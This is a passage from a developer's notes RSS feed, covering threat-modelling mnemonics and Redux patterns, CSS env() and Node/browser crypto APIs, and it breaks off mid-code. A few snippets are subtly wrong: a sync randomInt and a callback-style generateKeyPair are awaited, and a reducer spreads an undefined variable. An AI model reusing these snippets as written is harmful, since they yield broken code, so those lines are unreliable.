&lt;td&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Denial-of-service_attack&quot;&gt;&lt;strong&gt;D&lt;/strong&gt;enial of Service&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Availability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Privilege_escalation&quot;&gt;&lt;strong&gt;E&lt;/strong&gt;levation of Privilege&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Authorisation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Attack_tree&quot;&gt;Attack tree&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Attack trees are conceptual diagrams showing how an asset, or target, might be attacked. Attack trees have been used in a variety of applications. In the field of information technology, they have been used to describe threats on computer systems and possible attacks to realize those threats. However, their use is not restricted to the analysis of conventional information systems. They are widely used in the fields of defense and aerospace for the analysis of threats against tamper resistant electronics systems (e.g., avionics on military aircraft).[1] Attack trees are increasingly being applied to computer control systems (especially relating to the electric power grid ).[2] Attack trees have also been used to understand threats to physical systems.&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/DREAD_(risk_assessment_model)&quot;&gt;DREAD&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;DREAD is part of a system for risk-assessing computer security threats previously used at Microsoft and although currently used by OpenStack and other corporations[citation needed] it was abandoned by its creators [1]. It provides a mnemonic for risk rating security threats using five categories.&lt;/p&gt;
&lt;p&gt;The categories are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Damage&lt;/strong&gt; – how bad would an attack be?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reproducibility&lt;/strong&gt; – how easy is it to reproduce the attack?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploitability&lt;/strong&gt; – how much work is it to launch the attack?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected&lt;/strong&gt; users – how many people will be impacted?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Discoverability&lt;/strong&gt; – how easy is it to discover the threat?&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>node</category><author>Zander Martineau</author></item><item><title>Redux concepts</title><link>https://zander.wtf/notes/redux-concepts/</link><guid isPermaLink="true">https://zander.wtf/notes/redux-concepts/</guid><description>Notes made from reading the excellent: Human Redux by Henrik Joretag Actions “Actions are like news reports. Only report what matters; only report the…</description><pubDate>Tue, 24 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Notes made from reading the excellent: &lt;a href=&quot;https://reduxbook.com/&quot;&gt;Human Redux&lt;/a&gt; by &lt;a href=&quot;https://joreteg.com/&quot;&gt;Henrik Joretag&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Actions&lt;/h2&gt;
&lt;p&gt;“Actions are like news reports. Only report what matters; only report the facts.”&lt;/p&gt;
&lt;p&gt;“it&apos;s a subtle but important thing to realise that actions should be used to report a thing that happened, not cause something to happen”&lt;/p&gt;
&lt;p&gt;“One little &quot;hack&quot; to keep yourself writing actions this way is to make all your action types past-tense. So instead of calling an action &lt;code&gt;LOGIN_SUCCESS&lt;/code&gt;, you&apos;d call it &lt;code&gt;LOGIN_SUCCEEDED&lt;/code&gt;.”&lt;/p&gt;
&lt;p&gt;One call can be split into multiple actions, e.g. &lt;code&gt;FETCH_USERS&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Initiate&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{
  type: &apos;FETCH_USERS_STARTED&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Success&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{
  type: &apos;FETCH_USERS_SUCCEEDED&apos;,
  payload: [{ id: &apos;1&apos;, name: &apos;Mary&apos; }, { id: &apos;2&apos;, name: &apos;Jane&apos; }]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Error&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{
  type: &apos;FETCH_USERS_FAILED&apos;, payload: &apos;connectionFailed&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;“By convention, I always put these types of values in a property of the action called payload.”&lt;/p&gt;
&lt;h2&gt;Reducers&lt;/h2&gt;
&lt;p&gt;“in Redux a reducer takes the starting state and an item to process, and return the new state”&lt;/p&gt;
&lt;h3&gt;Reducers in Redux have a few simple rules:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Always return the state, even if you didn&apos;t change it, and even if it&apos;s just null. You may not return undefined.&lt;/li&gt;
&lt;li&gt;If you change state at all, replace it (more on this later).&lt;/li&gt;
&lt;li&gt;Every reducer processes every action even if it doesn&apos;t do anything with it.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;“As it turns out, the Redux store only takes one reducer. …we can only pass Redux a single reducer when calling &lt;code&gt;createStore()&lt;/code&gt; to set up our store. The reducer we pass to the store is often called the &quot;root reducer.&quot;”&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { createStore } from &apos;redux&apos;

const reducer = (state, action) =&amp;gt; {
  if (action.type === &apos;LOGGED_IN&apos;) {
    return {
      loggedIn: true,
    }
  }

  return state
}

const store = createStore(reducer)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Combining Reducers
“The combineReducers function is a helper included with the Redux library. It takes an object where each key is a name, each value is a reducer function, and it returns a single reducer that combines them all into a single reducer.”&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// now we combine them into a single root reducer!
const rootReducer = combineReducers({
  floodCount: floodCountReducer,
  furniture: furnitureReducer,
})

// we end up with a single reducer we can pass to `createStore()`
const store = createStore(rootReducer)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;“Every reducer will get called for every action and whatever it returns will be the new state tracked by that reducer”&lt;/p&gt;
&lt;p&gt;Redux reducer rule #1: You may never return &lt;code&gt;undefined&lt;/code&gt;, so you always have to return something, even if it&apos;s &lt;code&gt;null&lt;/code&gt;. Returning &lt;code&gt;null&lt;/code&gt; means your function at least intentionally returned something. This check is a bit of a safeguard to protect you from scenarios where you accidentally forget to return, and inadvertently return &lt;code&gt;undefined&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Redux reducer rule #2: If you change it, replace it. It is immutable.&lt;/p&gt;
&lt;p&gt;These two examples accomplish the same thing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const newObject = Object.assign({}, obj, { something: &apos;some other value&apos; })

const anotherNewObject = { ...obj, something: &apos;some other value&apos; }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Action Creators&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;An action creator is merely a function that returns an action object.&lt;/li&gt;
&lt;li&gt;Redux includes a utility function called &lt;code&gt;bindActionCreators&lt;/code&gt; for binding one or more action creators to the store&apos;s &lt;code&gt;dispatch()&lt;/code&gt; function.&lt;/li&gt;
&lt;li&gt;Calling an action creator does nothing but return an object, so you have to either bind it to the store beforehand, or dispatch the result of calling your action creator.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Middleware and Store Enhancers&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;A store enhancer, ahem... &quot;enhances&quot; or adds some additional capabilities to the store. It could change how reducers process data, or how dispatch works.&lt;/li&gt;
&lt;li&gt;Middleware is a function that lets us &quot;tap into&quot; what&apos;s happening inside Redux when we dispatch an action.&lt;/li&gt;
&lt;li&gt;As it turns out, the ability to run middleware is added to our Redux store using a store enhancer that enhances the .dispatch() function so we don&apos;t have to hack it ourselves!&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There&apos;s only one enhancer that&apos;s included in the Redux library itself. It&apos;s called &lt;code&gt;applyMiddleware()&lt;/code&gt;, and we can pass it middleware functions to inject functionality into &lt;code&gt;.dispatch()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;“Ideally, the code doing that dispatch shouldn&apos;t have to care what it has to do to clear the ToDos. In programming, ideally, we want to abstract to the point where we&apos;re fully expressing the intent, no more, no less. Anything else is what we&apos;d call a &quot;leaky abstraction.”&lt;/p&gt;
&lt;h2&gt;connect()&lt;/h2&gt;
&lt;p&gt;“Selecting just what you need, nothing more.”&lt;/p&gt;
&lt;p&gt;## Selectors
“A selector is simply this: A function that takes the current application state and returns the relevant portion needed by the view.”&lt;/p&gt;
&lt;p&gt;“Selectors let us ask questions of our state.”&lt;/p&gt;
&lt;p&gt;“A common mistake is to try to calculate and store this derived data as part of the application state. Believe me when I tell you: that is a mistake!”&lt;/p&gt;
&lt;p&gt;“It&apos;s essential to understand that what createSelector returns is still just a selector function that takes the entire application state as an argument and returns the result of the last function. It&apos;s just a more efficient function.”&lt;/p&gt;
&lt;p&gt;“Anytime you find yourself updating a &quot;calculated&quot; or &quot;derived&quot; value as part of handling a particular action type in a reducer, you should probably be deriving that answer using a selector instead.”&lt;/p&gt;
&lt;h2&gt;Data fetching&lt;/h2&gt;
&lt;p&gt;How would the ideal data fetching approach work?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Fetch data we know we need up front and cache it.&lt;/li&gt;
&lt;li&gt;Retain the ability to use the presence of a particular component as a factor that helps determine if we should fetch, but still only fetch if data is stale.&lt;/li&gt;
&lt;li&gt;Be able to automatically re-fetch data just because it&apos;s old, without requiring any action by the user.&lt;/li&gt;
&lt;li&gt;Be able to automatically re-try failed data fetches behind the scenes and still show current data, as long as it&apos;s not too stale.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;The reducers stored state that was structured like this:&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;const state = {
  // the actual data, the payload of the successful requests
  data: null,

  // a flag to check whether currently loading
  loading: false,

  // timestamp of last successful fetch
  lastFetch: null,

  // timestamp of last error
  lastError: null,

  // The type of error that occurred
  error: null,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;The reducers would then do this type of thing:&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;const reducer = (state, action) =&amp;gt; {
  if (action.type === &apos;SUCCESS&apos;) {
    return Object.assign({}, data, {
      data: action.payload,
      // CAVEAT: Using Date.now() here
      // makes the reducer impure. Personally,
      // I don&apos;t mind, but it could certainly be
      // argued that this value should be passed
      // in as part of the action instead.
      lastFetch: Date.now(),
      loading: false,

      // clear any previous error data
      lastError: null,
      error: null,
    })
  }

  // other conditions

  return state
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Routing&lt;/h2&gt;
&lt;p&gt;Use Redux to manage url state as well&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Update Redux if we navigated via browser&apos;s back/forward
// most browsers restore scroll position automatically
// as long as we make content scrolling happen on document.body
window.addEventListener(&apos;popstate&apos;, () =&amp;gt; {
  // here `doUpdateUrl` is an action creator that
  // takes the new url and stores it in Redux.
  store.dispatch(doUpdateUrl(window.location.pathname))
})

// The other part of the two-way binding is updating the displayed
// URL in the browser if we change it inside our app state in Redux.
// We can simply subscribe to Redux and update it if it&apos;s different.
store.subscribe(() =&amp;gt; {
  const { pathname } = store.getState().routing
  if (location.pathname !== pathname) {
    window.history.pushState(null, &apos;&apos;, pathname)
    // Force scroll to top this is what browsers normally do when
    // navigating by clicking a link.
    // Without this, scroll stays wherever it was which can be quite odd.
    document.body.scrollTop = 0
  }
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reducer&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// starting state for our URL pathname reducer
const initialState = {
  pathname: typeof location !== &apos;undefined&apos; ? location.pathname : &apos;/&apos;,
}

// the reducer itself
const urlReducer = (state = initialState, action) =&amp;gt; {
  if (action.type === &apos;UPDATE_URL&apos;) {
    return { pathname: action.payload }
  }
  return state
}

// an action creator for updating it
const doUpdateUrl = (pathname) =&amp;gt; ({ type: &apos;UPDATE_URL&apos;, payload: pathname })
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Persisting state&lt;/h2&gt;
&lt;p&gt;use money-clip for persisting to localStorage
use idb-keyval for IndexDB&lt;/p&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>Redux Saga</title><link>https://zander.wtf/notes/redux-saga/</link><guid isPermaLink="true">https://zander.wtf/notes/redux-saga/</guid><description>An alternative side effect model for Redux apps https://redux-saga.js.org https://github.com/redux-saga/redux-saga/ Routines Routines for redux-saga…</description><pubDate>Tue, 24 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;An alternative side effect model for Redux apps&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;https://redux-saga.js.org
https://github.com/redux-saga/redux-saga/&lt;/p&gt;
&lt;h2&gt;Routines&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Routines for redux-saga&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;https://github.com/afitiskin/redux-saga-routines&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { createRoutine } from &apos;redux-saga-routines&apos;

const fetchData = createRoutine(&apos;FETCH_DATA&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Access the action types&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;routine.TRIGGER === &apos;ACTION_TYPE_PREFIX/TRIGGER&apos;
routine.REQUEST === &apos;ACTION_TYPE_PREFIX/REQUEST&apos;
routine.SUCCESS === &apos;ACTION_TYPE_PREFIX/SUCCESS&apos;
routine.FAILURE === &apos;ACTION_TYPE_PREFIX/FAILURE&apos;
routine.FULFILL === &apos;ACTION_TYPE_PREFIX/FULFILL&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You also have 5 action creators: trigger, request, success, failure, fulfill:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;routine.trigger(payload) === { type: &apos;ACTION_TYPE_PREFIX/TRIGGER&apos;, payload }
routine.request(payload) === { type: &apos;ACTION_TYPE_PREFIX/REQUEST&apos;, payload }
routine.success(payload) === { type: &apos;ACTION_TYPE_PREFIX/SUCCESS&apos;, payload }
routine.failure(payload) === { type: &apos;ACTION_TYPE_PREFIX/FAILURE&apos;, payload }
routine.fulfill(payload) === { type: &apos;ACTION_TYPE_PREFIX/FULFILL&apos;, payload }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Reducer&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import produce from &apos;immer&apos;
import { fetchData } from &apos;./routines&apos;

const initialState = {
  data: null,
  loading: false,
  error: null,
}

export const exampleReducer = (
  state = initialState,
  action: ExampleActionInterface
) =&amp;gt;
  produce(state, (draft) =&amp;gt; {
    switch (action.type) {
      case fetchData.REQUEST:
        draft.loading = true
        break
      case fetchData.SUCCESS:
        draft.loading = false
        draft.data = action.payload
        break
      case fetchData.FAILURE:
        draft.loading = false
        draft.error = true
        break
    }
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Sagas&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;export function* fetchDataRequest(
  { payload },
) {
  const { fromDate, toDate } = payload;
  try {
    const walletId = yield select(getWalletId);
    const { data } = yield call([walletAdapter, &apos;requestPendingTransactions&apos;], {
      walletId,
      fromDate,
      toDate,
    });

    yield put(getPendingTransactions.success(transformTransactionValues(data)));

  } catch (error) {
    yield put(getPendingTransactions.failure(error));
  }
}

export function* walletSagas() {
  yield takeEvery(
    getPendingTransactions.REQUEST,
    getPendingTransactionsRequest as any
  );
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>CSS environment variables</title><link>https://zander.wtf/notes/css-env-vars/</link><guid isPermaLink="true">https://zander.wtf/notes/css-env-vars/</guid><description>Browser support A specific viewport metatag property is needed: or Example</description><pubDate>Sun, 22 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://caniuse.com/#feat=css-env-function&quot;&gt;Browser support&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;env(&apos;VARIABLE_NME&apos;, FALLBACK_VALUE);

env(safe-area-inset-top, 12px)
env(safe-area-inset-right, 12px)
env(safe-area-inset-bottom, 12px)
env(safe-area-inset-left, 12px)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A specific viewport metatag property is needed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;meta
  name=&quot;viewport&quot;
  content=&quot;initial-scale=1.0, width=device-width, viewport-fit=cover&quot;
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@viewport {
  viewport-fit: cover;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Example&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;body {
  padding-top: env(safe-area-inset-top, 12px);
  padding-right: env(safe-area-inset-right, 12px);
  padding-bottom: env(safe-area-inset-bottom, 12px);
  padding-left: env(safe-area-inset-left, 12px);
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Destructuring</title><link>https://zander.wtf/notes/destructuring/</link><guid isPermaLink="true">https://zander.wtf/notes/destructuring/</guid><pubDate>Sun, 22 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;const exampleObject = { a: { b: &apos;hi&apos; } }

// Want to get both `a` and `b` as variables?
// You totally can do this in one line of destructuring.
const {
  a,
  a: { b },
} = exampleObject
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Crypto</title><link>https://zander.wtf/notes/crypto/</link><guid isPermaLink="true">https://zander.wtf/notes/crypto/</guid><description>The crypto module provides cryptographic functionality including hashing, HMAC, encryption/decryption, signing, and random value generation. Available in…</description><pubDate>Wed, 11 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;code&gt;crypto&lt;/code&gt; module provides cryptographic functionality including hashing, HMAC, encryption/decryption, signing, and random value generation. Available in both Node.js and modern browsers via the Web Crypto API.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Random Values&lt;/h2&gt;
&lt;h3&gt;Generate UUID&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Works in Node.js and browsers
crypto.randomUUID();
// → &quot;550e8400-e29b-41d4-a716-446655440000&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Random Bytes&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import crypto from &apos;crypto&apos;;

// Generate random bytes (Node.js)
const buffer = crypto.randomBytes(32);
const hex = buffer.toString(&apos;hex&apos;);
// → &quot;a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1&quot;

// Generate random bytes (Browser)
const array = new Uint8Array(32);
crypto.getRandomValues(array);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Random Integer&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import crypto from &apos;crypto&apos;;

// Generate random integer in range [min, max)
crypto.randomInt(100);       // 0-99
crypto.randomInt(10, 100);   // 10-99

// Async version
const num = await crypto.randomInt(1, 1000);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Hashing&lt;/h2&gt;
&lt;h3&gt;Basic Hash (SHA-256)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import crypto from &apos;crypto&apos;;

const data = &apos;Hello, World!&apos;;
const hash = crypto.createHash(&apos;sha256&apos;).update(data).digest(&apos;hex&apos;);
// → &quot;dffd6021bb2bd5b0af676290809ec3a53191dd81c7f70a4b28688a362182986f&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Hash an Object&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import crypto from &apos;crypto&apos;;

const body = {
  uuid: &apos;433d7a1b-e8e1-4b5a-b590-f468e5c18cc7&apos;,
  name: &apos;Zander&apos;,
};

const hash = crypto.createHash(&apos;sha256&apos;);
hash.update(JSON.stringify(body));
const hashedResponse = hash.digest(&apos;hex&apos;);
// → &quot;5a7430e6d96dafadc642289eba7e215d3b9cfd7a58f9593749891424e6d75a4f&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Available Hash Algorithms&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// List all available hash algorithms
crypto.getHashes();
// → [&apos;sha256&apos;, &apos;sha512&apos;, &apos;sha3-256&apos;, &apos;md5&apos;, &apos;blake2b512&apos;, ...]
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Algorithm&lt;/th&gt;
&lt;th&gt;Output Size&lt;/th&gt;
&lt;th&gt;Use Case&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sha256&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;256 bits&lt;/td&gt;
&lt;td&gt;General purpose, signatures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sha512&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;512 bits&lt;/td&gt;
&lt;td&gt;Higher security needs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sha3-256&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;256 bits&lt;/td&gt;
&lt;td&gt;Modern alternative to SHA-2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;md5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;128 bits&lt;/td&gt;
&lt;td&gt;Checksums only (not secure!)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;blake2b512&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;512 bits&lt;/td&gt;
&lt;td&gt;Fast, secure alternative&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Hash a File&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import crypto from &apos;crypto&apos;;
import fs from &apos;fs&apos;;

function hashFile(filepath) {
  return new Promise((resolve, reject) =&amp;gt; {
    const hash = crypto.createHash(&apos;sha256&apos;);
    const stream = fs.createReadStream(filepath);

    stream.on(&apos;data&apos;, (chunk) =&amp;gt; hash.update(chunk));
    stream.on(&apos;end&apos;, () =&amp;gt; resolve(hash.digest(&apos;hex&apos;)));
    stream.on(&apos;error&apos;, reject);
  });
}

const checksum = await hashFile(&apos;./large-file.zip&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;HMAC (Hash-based Message Authentication Code)&lt;/h2&gt;
&lt;p&gt;Used for verifying data integrity and authenticity with a secret key.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import crypto from &apos;crypto&apos;;

const secret = &apos;my-secret-key&apos;;
const message = &apos;Important message&apos;;

const hmac = crypto.createHmac(&apos;sha256&apos;, secret)
  .update(message)
  .digest(&apos;hex&apos;);
// → &quot;8b5a4e3f2c1d0e9f8a7b6c5d4e3f2a1b...&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Verify Webhook Signature&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import crypto from &apos;crypto&apos;;

function verifyWebhookSignature(payload, signature, secret) {
  const expectedSignature = crypto
    .createHmac(&apos;sha256&apos;, secret)
    .update(payload)
    .digest(&apos;hex&apos;);

  // Use timingSafeEqual to prevent timing attacks
  return crypto.timingSafeEqual(
    Buffer.from(signature),
    Buffer.from(expectedSignature)
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Encryption &amp;amp; Decryption&lt;/h2&gt;
&lt;h3&gt;AES-256-GCM (Recommended)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import crypto from &apos;crypto&apos;;

const algorithm = &apos;aes-256-gcm&apos;;

function encrypt(text, key) {
  const iv = crypto.randomBytes(16);
  const cipher = crypto.createCipheriv(algorithm, key, iv);

  let encrypted = cipher.update(text, &apos;utf8&apos;, &apos;hex&apos;);
  encrypted += cipher.final(&apos;hex&apos;);

  const authTag = cipher.getAuthTag();

  return {
    iv: iv.toString(&apos;hex&apos;),
    encrypted,
    authTag: authTag.toString(&apos;hex&apos;),
  };
}

function decrypt(encryptedData, key) {
  const decipher = crypto.createDecipheriv(
    algorithm,
    key,
    Buffer.from(encryptedData.iv, &apos;hex&apos;)
  );

  decipher.setAuthTag(Buffer.from(encryptedData.authTag, &apos;hex&apos;));

  let decrypted = decipher.update(encryptedData.encrypted, &apos;hex&apos;, &apos;utf8&apos;);
  decrypted += decipher.final(&apos;utf8&apos;);

  return decrypted;
}

// Usage
const key = crypto.randomBytes(32); // 256-bit key
const encrypted = encrypt(&apos;Secret message&apos;, key);
const decrypted = decrypt(encrypted, key);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Generate Secure Key from Password&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import crypto from &apos;crypto&apos;;

// Derive a key from a password using PBKDF2
function deriveKey(password, salt = crypto.randomBytes(16)) {
  const key = crypto.pbkdf2Sync(
    password,
    salt,
    100000,  // iterations
    32,      // key length
    &apos;sha256&apos;
  );
  return { key, salt };
}

// Async version
async function deriveKeyAsync(password, salt) {
  return new Promise((resolve, reject) =&amp;gt; {
    crypto.pbkdf2(password, salt, 100000, 32, &apos;sha256&apos;, (err, key) =&amp;gt; {
      if (err) reject(err);
      else resolve(key);
    });
  });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Password Hashing (with scrypt)&lt;/h2&gt;
&lt;p&gt;For storing passwords, use &lt;code&gt;scrypt&lt;/code&gt; — designed to be slow and memory-hard.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import crypto from &apos;crypto&apos;;

async function hashPassword(password) {
  const salt = crypto.randomBytes(16);

  return new Promise((resolve, reject) =&amp;gt; {
    crypto.scrypt(password, salt, 64, (err, derivedKey) =&amp;gt; {
      if (err) reject(err);
      resolve(salt.toString(&apos;hex&apos;) + &apos;:&apos; + derivedKey.toString(&apos;hex&apos;));
    });
  });
}

async function verifyPassword(password, hash) {
  const [salt, key] = hash.split(&apos;:&apos;);

  return new Promise((resolve, reject) =&amp;gt; {
    crypto.scrypt(password, Buffer.from(salt, &apos;hex&apos;), 64, (err, derivedKey) =&amp;gt; {
      if (err) reject(err);
      resolve(crypto.timingSafeEqual(
        Buffer.from(key, &apos;hex&apos;),
        derivedKey
      ));
    });
  });
}

// Usage
const hashed = await hashPassword(&apos;mySecretPassword&apos;);
const isValid = await verifyPassword(&apos;mySecretPassword&apos;, hashed); // true
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Digital Signatures&lt;/h2&gt;
&lt;h3&gt;Sign and Verify Data&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import crypto from &apos;crypto&apos;;

// Generate key pair
const { publicKey, privateKey } = crypto.generateKeyPairSync(&apos;rsa&apos;, {
  modulusLength: 2048,
});

// Sign data
const data = &apos;Data to sign&apos;;
const signature = crypto.sign(&apos;sha256&apos;, Buffer.from(data), privateKey);

// Verify signature
const isValid = crypto.verify(
  &apos;sha256&apos;,
  Buffer.from(data),
  publicKey,
  signature
);
// → true
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Generate Key Pair (Async)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import crypto from &apos;crypto&apos;;

const { publicKey, privateKey } = await crypto.generateKeyPair(&apos;ed25519&apos;);

// Export keys as PEM
const publicPem = publicKey.export({ type: &apos;spki&apos;, format: &apos;pem&apos; });
const privatePem = privateKey.export({ type: &apos;pkcs8&apos;, format: &apos;pem&apos; });
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Web Crypto API (Browser)&lt;/h2&gt;
&lt;p&gt;The browser&apos;s built-in crypto API for client-side cryptography.&lt;/p&gt;
&lt;h3&gt;Hash in Browser&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;async function sha256(message) {
  const msgBuffer = new TextEncoder().encode(message);
  const hashBuffer = await crypto.subtle.digest(&apos;SHA-256&apos;, msgBuffer);
  const hashArray = Array.from(new Uint8Array(hashBuffer));
  return hashArray.map(b =&amp;gt; b.toString(16).padStart(2, &apos;0&apos;)).join(&apos;&apos;);
}

await sha256(&apos;Hello, World!&apos;);
// → &quot;dffd6021bb2bd5b0af676290809ec3a53191dd81c7f70a4b28688a362182986f&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Encrypt in Browser&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;async function generateKey() {
  return crypto.subtle.generateKey(
    { name: &apos;AES-GCM&apos;, length: 256 },
    true,
    [&apos;encrypt&apos;, &apos;decrypt&apos;]
  );
}

async function encrypt(plaintext, key) {
  const iv = crypto.getRandomValues(new Uint8Array(12));
  const encoded = new TextEncoder().encode(plaintext);

  const ciphertext = await crypto.subtle.encrypt(
    { name: &apos;AES-GCM&apos;, iv },
    key,
    encoded
  );

  return { iv, ciphertext };
}

async function decrypt({ iv, ciphertext }, key) {
  const decrypted = await crypto.subtle.decrypt(
    { name: &apos;AES-GCM&apos;, iv },
    key,
